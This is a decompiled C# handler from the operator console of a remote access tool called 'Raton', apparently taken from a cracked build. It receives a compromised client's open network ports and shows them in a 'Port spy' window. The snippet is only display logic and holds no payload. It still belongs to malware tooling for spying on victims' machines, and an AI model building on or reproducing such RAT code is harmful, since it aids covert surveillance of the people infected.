56 lines
2.2 KiB
C#
56 lines
2.2 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: Server.Handlers.HandlePortManager
|
|
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
|
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
|
|
|
using Raton.Forms.ClientForms.Monitor;
|
|
using Server.Connection;
|
|
using Stuff;
|
|
using System;
|
|
using System.Drawing;
|
|
using System.Windows.Forms;
|
|
|
|
#nullable disable
|
|
namespace Server.Handlers;
|
|
|
|
internal class HandlePortManager
|
|
{
|
|
public HandlePortManager(SillyClient SillyClient, Unpack unpack)
|
|
{
|
|
ratonPorts portManagerForm = (ratonPorts) Application.OpenForms["Port spy | Client ID: " + unpack.GetAsString("UID")];
|
|
if (portManagerForm == null)
|
|
return;
|
|
if (portManagerForm.SillyClient == null)
|
|
portManagerForm.SillyClient = SillyClient;
|
|
portManagerForm.Invoke((Delegate) (() =>
|
|
{
|
|
string[] strArray = unpack.GetAsString("Ports").Split(new string[1]
|
|
{
|
|
"-=>"
|
|
}, StringSplitOptions.RemoveEmptyEntries);
|
|
portManagerForm.aeroListView1.Items.Clear();
|
|
portManagerForm.aeroListView1.BeginUpdate();
|
|
for (int index = 0; index < strArray.Length - 3; index += 4)
|
|
{
|
|
ListViewItem listViewItem = new ListViewItem(strArray[index]);
|
|
listViewItem.SubItems.Add(strArray[index + 1]);
|
|
listViewItem.SubItems.Add(strArray[index + 2]);
|
|
listViewItem.SubItems.Add(strArray[index + 3]);
|
|
string upper = strArray[index + 3].ToUpper();
|
|
if (upper == "ESTABLISHED")
|
|
listViewItem.ImageIndex = 1;
|
|
if (upper == "TIMEWAIT" || upper == "CLOSEWAIT")
|
|
listViewItem.ImageIndex = 2;
|
|
if (upper == "LISTENING")
|
|
listViewItem.ImageIndex = 0;
|
|
portManagerForm.aeroListView1.Items.Add(listViewItem);
|
|
}
|
|
portManagerForm.aeroListView1.EndUpdate();
|
|
portManagerForm.label1.Visible = false;
|
|
portManagerForm.aeroListView1.Visible = true;
|
|
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) "Got the ports of the client", (object) Color.LightGreen)));
|
|
}));
|
|
}
|
|
}
|